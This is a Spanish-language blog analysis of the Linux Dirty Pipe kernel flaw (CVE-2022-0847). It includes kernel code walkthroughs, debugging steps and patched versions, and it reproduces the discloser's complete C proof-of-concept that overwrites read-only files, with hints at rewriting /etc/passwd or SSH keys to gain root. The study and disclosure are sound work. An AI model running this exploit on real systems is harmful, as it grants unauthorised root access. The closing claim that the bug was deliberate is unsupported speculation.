
Exploit de prueba de concepto y análisis detallado de la vulnerabilidad de escalada de privilegios CVE-2022-0847 (Dirty Pipe) del kernel de Linux, incluido un entorno Docker para pruebas y depuración.
[toc]
Este artículo se publicó originalmente en la cuenta pública de seguridad de Huawei, esta es la versión del blog (más completa)
Enlace original: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
ID de vulnerabilidad: CVE-2022-0847 (alias: Dirty Pipe)
Producto vulnerable: kernel de Linux - syscall splice
Versiones afectadas: Linux 5.8 (introducido por el parche f6dd975583bd) ~ 5.16.11, 5.15.25, 5.10.102 (corregido)
Impacto: permite escribir hasta una página de contenido (suficiente) en cualquier archivo legible, pudiendo escalar privilegios localmente.
Docker de análisis de la vulnerabilidad: chenaotian/cve-2022-0847 (si aún no se puede acceder, es porque aún no lo he subido)
Proporciona:
Inicio:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
Depuración:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
El principio básico de la vulnerabilidad es que al llamar a la función
splice, se puede enviar un archivo a lapipemediante "copia cero". A nivel de código, la copia cero consiste en usar directamente la página de caché del archivo (page cache) como páginabufde lapipe. Sin embargo, aquí se introduce un error de inicialización de variable, lo que provoca que la página de caché del archivo sea tratada posteriormente en el canalpipecomo una página de caché normal de lapipe, permitiendo su "reescritura" y, por lo tanto, su modificación. No obstante, en esta situación, el kernel no considera esta página de caché como "sucia" y no la vacía a disco en un corto período de tiempo (hasta el próximo reinicio, por ejemplo). Durante ese tiempo, todos los accesos a ese archivo utilizarán la página de caché modificada, logrando así una operación de "escritura arbitraria en cualquier archivo legible durante un breve período". Esto puede utilizarse para escalar privilegios localmente.
Según el parche, el punto de ocurrencia está en la función copy_page_to_iter_pipe, donde se añadió la inicialización de buf->flags. Por lo tanto, se trata de una vulnerabilidad de variable no inicializada.

El punto de llamada de copy_page_to_iter_pipe se encuentra dentro de la syscall splice. La función splice (llamada al sistema) transporta el contenido de un archivo a la tubería mediante un método de "copia cero". Esto tiene un mejor rendimiento que enviar directamente el contenido del archivo a la tubería. Se explicará con más detalle a continuación.
Primero, para entender la vulnerabilidad "Dirty Pipe", hay que conocer la pipe. La pipe es un canal de comunicación proporcionado por el kernel, creado mediante las funciones pipe/pipe2, que devuelven dos descriptores de archivo: uno para enviar datos y otro para recibirlos, similar a dos extremos de una tubería. No se entrará en más detalles.

Brevemente, en la implementación del kernel, el espacio de caché de la pipe tiene normalmente una longitud total de 65536 bytes, gestionado en páginas: 16 páginas en total (4096 bytes cada una). Las páginas no son contiguas, sino que se gestionan mediante un array, formando una lista circular. Se mantienen dos punteros de lista: uno para escribir (pipe->head) y otro para leer (pipe->tail). Aquí se analiza principalmente la función pipe_write:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1] Si la caché de la pipe no está vacía, intenta continuar escribiendo desde la última página actual
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] Clave: si el flag PIPE_BUF_FLAG_CAN_MERGE está presente, significa que la página permite continuar escribiendo.
* Si la longitud a escribir no cruza el límite de la página, se continúa escribiendo; de lo contrario, se usa una nueva página */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3] Si no se puede continuar en la página anterior, se usa una nueva página
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4] Solicitar una nueva página
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5] Colocar la nueva página en el array de páginas
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6] Establecer flag, por defecto PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7] Copiar datos
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
pipe) no está vacía (head==tail indica tubería vacía), significa que hay datos no leídos; se obtiene el puntero head, que apunta a la página más reciente usada para escribir, y se comprueban len y offset de esa página (para encontrar el final de los datos). A continuación, se intenta continuar escribiendo en la página actual.PIPE_BUF_FLAG_CAN_MERGE. Si no está presente, no se permite continuar escribiendo en ella. O si los datos a escribir, concatenados con los anteriores, superan el tamaño de una página (es decir, la escritura cruza el límite de página), en ese caso no se puede continuar.alloc_page solicita una nueva página.buf->flag se inicializa por defecto con PIPE_BUF_FLAG_CAN_MERGE, ya que por defecto se permite continuar escribiendo en la página.La clave para explotar la vulnerabilidad está en el flag PIPE_BUF_FLAG_CAN_MERGE que no se inicializa en splice, lo que determina si podemos continuar escribiendo en una página de pipe que no se ha terminado de escribir.
Como se mencionó anteriormente, pipe gestiona 16 páginas como caché. El método de copia cero de splice consiste en reemplazar directamente la página de caché de la pipe por la página de caché del archivo (cambiando el puntero de la página de caché de la pipe para que apunte a la página de caché del archivo).

La pila de llamadas desde la syscall splice hasta la función vulnerable copy_page_to_iter_pipe es profunda. No se analizará en detalle; la pila es la siguiente:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read (in->f_op->splice_read por defecto es generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeLa función copy_page_to_iter_pipe, donde reside la vulnerabilidad, se encarga de redirigir la estructura de la página de caché de pipe hacia la página de caché del archivo que se va a transferir:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1] Obtener la página de caché de pipe correspondiente
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2] Modificar la información de la página de caché de pipe para que apunte a la página de caché del archivo
get_page(page);
buf->page = page;//[2] El puntero de página apunta ahora a la página de caché del archivo
buf->offset = offset;//[2] offset, len se establecen según la información actual (determinada por los parámetros de la syscall splice)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe, encuentra la posición actual del puntero de escritura (pipe->head).len, que está determinada por los parámetros de la syscall splice. Aquí no se inicializa el flag, lo que causa la vulnerabilidad.Normalmente, después de inicializar pipe->bufs, se ve así:

Según el código de pipe_write analizado anteriormente, si se vuelve a llamar a pipe_write para escribir datos en la pipe, el puntero de escritura (pipe->head) apuntará a la página de la figura anterior, y el flag será PIPE_BUF_FLAG_CAN_MERGE. Entonces se considerará que se puede continuar escribiendo en esa página, siempre que la longitud no cruce el límite de la página:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1] Si la caché de la pipe no está vacía, intenta continuar escribiendo desde la última página actual
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] Clave: si el flag PIPE_BUF_FLAG_CAN_MERGE está presente, significa que la página permite continuar escribiendo.
* Si la longitud a escribir no cruza el límite de la página, se continúa escribiendo; de lo contrario, se usa una nueva página */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
Linux coloca los archivos abiertos en páginas de caché; las páginas de caché se mantienen durante un tiempo después de ser usadas para evitar operaciones de E/S innecesarias. En un corto período, acceder al mismo archivo operará sobre la misma página de caché del archivo, en lugar de abrirlo repetidamente. Al modificar esta página de caché mediante el método descrito, durante un breve tiempo todas las operaciones de acceso (lectura) a ese archivo leerán la página de caché modificada, completando así la explotación.
Como se ha descrito, el proceso de explotación es muy simple; basta con entender el principio de la vulnerabilidad. Según las instrucciones del autor, se divide aproximadamente en los siguientes pasos:
pipe_write), para que todos los buf (páginas de caché de pipe) se hayan inicializado, con el flag por defecto PIPE_BUF_FLAG_CAN_MERGE.pipe_read), de modo que cuando se use la syscall splice para transferir el archivo, se reutilicen las estructuras buf ya inicializadas.splice para transferir el archivo que se desea modificar.pipe (pipe_write); en este punto se sobrescribirá la página de caché del archivo, logrando una modificación temporal del archivo.Después del segundo paso, después de llenar y vaciar la tubería, se puede ver en la estructura bufs los datos que se reutilizarán (contenido no inicializado):
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Después de la transferencia con splice, el archivo se ha introducido y se ve así. El flag no está inicializado, y len debe establecerse lo más pequeño posible, porque cuanto más pequeño sea, mayor será la longitud que podremos escribir posteriormente al "continuar". Aquí se establece en 1, y el desplazamiento es la dirección inicial que se desea modificar. Esto hará que el puntero pipe->bufs->page apunte a la dirección inicial:
splice(fd, &offset, p[1], NULL, 1, 0);

Al llamar nuevamente a pipe_write, se cumple la condición de continuar escribiendo, y se escribe directamente en la página:

No es mío, está en la divulgación de la vulnerabilidad:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Escalada de privilegios exitosa:
gcc exp.c -o exp --static
./exp file offset string

Actualmente se demuestra el efecto de escritura arbitraria en archivos. Para una explotación concreta, se podría modificar /etc/passwd, claves SSH, o algunos archivos SUID, etc., para lograr una escalada de privilegios real. Aquí no se realizará la operación práctica (de todas formas no estoy haciendo penetración).
Como se trata de una vulnerabilidad del kernel, no hay una buena solución temporal; se recomienda actualizar el kernel a las versiones corregidas: 5.16.11, 5.15.25, 5.10.102 o superiores.
Basado en el PoC publicado por el divulgador, se ha creado una herramienta de verificación simple. Si la vulnerabilidad está presente, muestra "There is CVE-2022-0847":

Si no, muestra "You are safe!".
Divulgación de la vulnerabilidad: https://dirtypipe.cm4all.com/
El flag PIPE_BUF_FLAG_CAN_MERGE aparece solo 5 veces en total: una en la declaración #define, dos en pipe_write. Las dos restantes están en splice:

Y según el código en el que participa, el significado de este flag es determinar si se puede continuar escribiendo en la página de caché actual de pipe; normalmente, una página solicitada por la propia pipe es una página común, y continuar escribiendo es algo normal. ¿Cuándo no se puede continuar? Cuando la página no es solicitada por la propia pipe, no se puede modificar arbitrariamente. Por lo tanto, según la situación actual, casi solo en splice se utilizan páginas que no son de la propia pipe. En otras palabras, el flag PIPE_BUF_FLAG_CAN_MERGE fue diseñado específicamente para splice. ¿Y luego me dices que no lo inicializas?
Por lo tanto, sospecho que esta vulnerabilidad no es por descuido...